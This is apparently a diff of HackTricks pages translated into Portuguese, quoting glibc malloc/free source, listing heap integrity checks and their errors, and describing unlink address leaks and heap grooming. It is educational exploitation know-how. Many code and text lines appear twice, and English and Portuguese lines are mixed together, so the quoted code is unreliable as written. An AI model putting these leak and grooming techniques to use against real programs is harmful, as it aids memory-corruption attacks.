Em seguida, adicione o chunk liberado no topo do fast bin enquanto realiza algumas verificações:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- Se o tamanho do chunk for inválido (muito grande ou pequeno) acione: `free(): invalid next size (fast)`
- Se o chunk adicionado já era o topo do fast bin: `double free or corruption (fasttop)`
- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
Se o chunk ainda não foi alocado em nenhum bin, chame `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bin não ordenados.
Some checks are performed:
Algumas verificações são realizadas:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- Se o chunk é o chunk superior: `double free or corruption (top)`
- Se o próximo chunk está fora dos limites da arena: `double free or corruption (out)`
- Se o chunk não está marcado como usado (no `prev_inuse` do chunk seguinte): `double free or corruption (!prev)`
- Se o próximo chunk tem um tamanho muito pequeno ou muito grande: `free(): invalid next size (normal)`
- se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o prev_size diferir do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,163 +1,163 @@
# Heap Functions Security Checks
# Verificações de Segurança das Funções de Heap
{{#include ../../../banners/hacktricks-training.md}}
## unlink
For more info check:
Para mais informações, consulte:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Este é um resumo das verificações realizadas:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Verifique se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk
- Mensagem de erro: `corrupted size vs. prev_size`
- Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
- Mensagem de erro: `corrupted double-linked list`
- Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
- Mensagem de erro: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Para mais informações, consulte:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Verificações durante a busca no fast bin:**
- Se o chunk estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2`
- Se o chunk para frente estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected`
- Se o chunk retornado tiver um tamanho que não está correto por causa do seu índice no fast bin:
- Mensagem de erro: `malloc(): memory corruption (fast)`
- Se algum chunk usado para preencher o tcache estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3`
- **Verificações durante a busca no small bin:**
- Se `victim->bk->fd != victim`:
- Mensagem de erro: `malloc(): smallbin double linked list corrupted`
- **Verificações durante a consolidação** realizadas para cada chunk do fast bin:&#x20;
- Se o chunk estiver desalinhado, acione:
- Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
- Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está:
- Mensagem de erro: `malloc_consolidate(): invalid chunk size`
- Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por prev_chunk:
- Mensagem de erro: `corrupted size vs. prev_size in fastbins`
- **Verificações durante a busca no unsorted bin**:
- Se o tamanho do chunk for estranho (muito pequeno ou muito grande):&#x20;
- Mensagem de erro: `malloc(): invalid size (unsorted)`
- Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande):
- Mensagem de erro: `malloc(): invalid next size (unsorted)`
- Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk:
- Mensagem de erro: `malloc(): mismatching next->prev_size (unsorted)`
- Se não `victim->bck->fd == victim` ou não `victim->fd == av (arena)`:
- Mensagem de erro: `malloc(): unsorted double linked list corrupted`
- Como estamos sempre verificando o último, seu fd deve sempre apontar para a estrutura da arena.
- Se o próximo chunk não indicar que o anterior está em uso:
- Mensagem de erro: `malloc(): invalid next->prev_inuse (unsorted)`
- Se `fwd->bk_nextsize->fd_nextsize != fwd`:
- Mensagem de erro: `malloc(): largebin double linked list corrupted (nextsize)`
- Se `fwd->bk->fd != fwd`:
- Mensagem de erro: `malloc(): largebin double linked list corrupted (bk)`
- **Verificações durante a busca no large bin (por índice):**
- `bck->fd-> bk != bck`:
- Mensagem de erro: `malloc(): corrupted unsorted chunks`
- **Verificações durante a busca no large bin (próximo maior):**
- `bck->fd-> bk != bck`:
- Mensagem de erro: `malloc(): corrupted unsorted chunks2`
- **Verificações durante o uso do Top chunk:**
- `chunksize(av->top) > av->system_mem`:
- Mensagem de erro: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **Verificações em `tcache_get_n`:**
- Se o chunk estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **Verificações em `tcache_thread_shutdown`:**
- Se o chunk estiver desalinhado:
- Mensagem de erro: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **Verificações em `__libc_realloc`:**
- Se o ponteiro antigo estiver desalinhado ou o tamanho estiver incorreto:
- Mensagem de erro: `realloc(): invalid pointer`
## `_int_free`
For more info check:
Para mais informações, consulte:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **Verificações durante o início de `_int_free`:**
- O ponteiro está alinhado:
- Mensagem de erro: `free(): invalid pointer`
- Tamanho maior que `MINSIZE` e tamanho também alinhado:
- Mensagem de erro: `free(): invalid size`
- **Verificações em `_int_free` tcache:**
- Se houver mais entradas do que `mp_.tcache_count`:
- Mensagem de erro: `free(): too many chunks detected in tcache`
- Se a entrada não estiver alinhada:
- Mensagem de erro: `free(): unaligned chunk detected in tcache 2`
- Se o chunk liberado já foi liberado e está presente como chunk no tcache:
- Mensagem de erro: `free(): double free detected in tcache 2`
- **Verificações em `_int_free` fast bin:**
- Se o tamanho do chunk for inválido (muito grande ou pequeno), acione:
- Mensagem de erro: `free(): invalid next size (fast)`
- Se o chunk adicionado já era o topo do fast bin:
- Mensagem de erro: `double free or corruption (fasttop)`
- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando:
- Mensagem de erro: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **Verificações em `_int_free_merge_chunk`:**
- Se o chunk for o top chunk:
- Mensagem de erro: `double free or corruption (top)`
- Se o próximo chunk estiver fora dos limites da arena:
- Mensagem de erro: `double free or corruption (out)`
- Se o chunk não estiver marcado como usado (no prev_inuse do chunk seguinte):
- Mensagem de erro: `double free or corruption (!prev)`
- Se o próximo chunk tiver um tamanho muito pequeno ou muito grande:
- Mensagem de erro: `free(): invalid next size (normal)`
- Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
- Mensagem de erro: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **Verificações em `_int_free_create_chunk`:**
- Adicionando um chunk no unsorted bin, verifique se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Mensagem de erro: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **Verificações em `do_check_malloc_state`:**
- Se o chunk do fast bin estiver desalinhado:
- Mensagem de erro: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **Verificações em `malloc_consolidate`:**
- Se o chunk do fast bin estiver desalinhado:
- Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
- Se o tamanho do chunk do fast bin estiver incorreto:
- Mensagem de erro: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **Verificações em `_int_realloc`:**
- Tamanho é muito grande ou muito pequeno:
- Mensagem de erro: `realloc(): invalid old size`
- Tamanho do próximo chunk é muito grande ou muito pequeno:
- Mensagem de erro: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
### Código
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Explicação Gráfica
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Confira esta ótima explicação gráfica do processo unlink:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Verificações de Segurança
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Verifique se o tamanho indicado do chunk é o mesmo que o prev_size indicado no próximo chunk
- Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
- Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
### Leaks
### Vazamentos
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
Um chunk não vinculado não limpa os endereços alocados, então, tendo acesso a ele, é possível vazar alguns endereços interessantes:
Libc Leaks:
Vazamentos de Libc:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- Se P estiver localizado na cabeça da lista duplamente encadeada, `bk` estará apontando para `malloc_state` na libc
- Se P estiver localizado no final da lista duplamente encadeada, `fd` estará apontando para `malloc_state` na libc
- Quando a lista duplamente encadeada contém apenas um chunk livre, P está na lista duplamente encadeada, e tanto `fd` quanto `bk` podem vazar o endereço dentro de `malloc_state`.
Heap leaks:
Vazamentos de Heap:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- Se P estiver localizado na cabeça da lista duplamente encadeada, `fd` estará apontando para um chunk disponível no heap
- Se P estiver localizado no final da lista duplamente encadeada, `bk` estará apontando para um chunk disponível no heap
- Se P estiver na lista duplamente encadeada, tanto `fd` quanto `bk` estarão apontando para um chunk disponível no heap
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,49 +2,47 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no bloco de heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e possui uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
No entanto, no caso de um heap overflow, a memória usada não é linear, mas **os blocos alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **a memória previamente liberada é usada** antes de alocar novos blocos. É **complicado saber qual objeto estará colidindo com aquele vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar blocos de memória, ela se expande por uma página do kernel, e essa página é dividida em blocos dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses blocos são usados de maneira aleatória para dificultar a exploração desses ataques).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
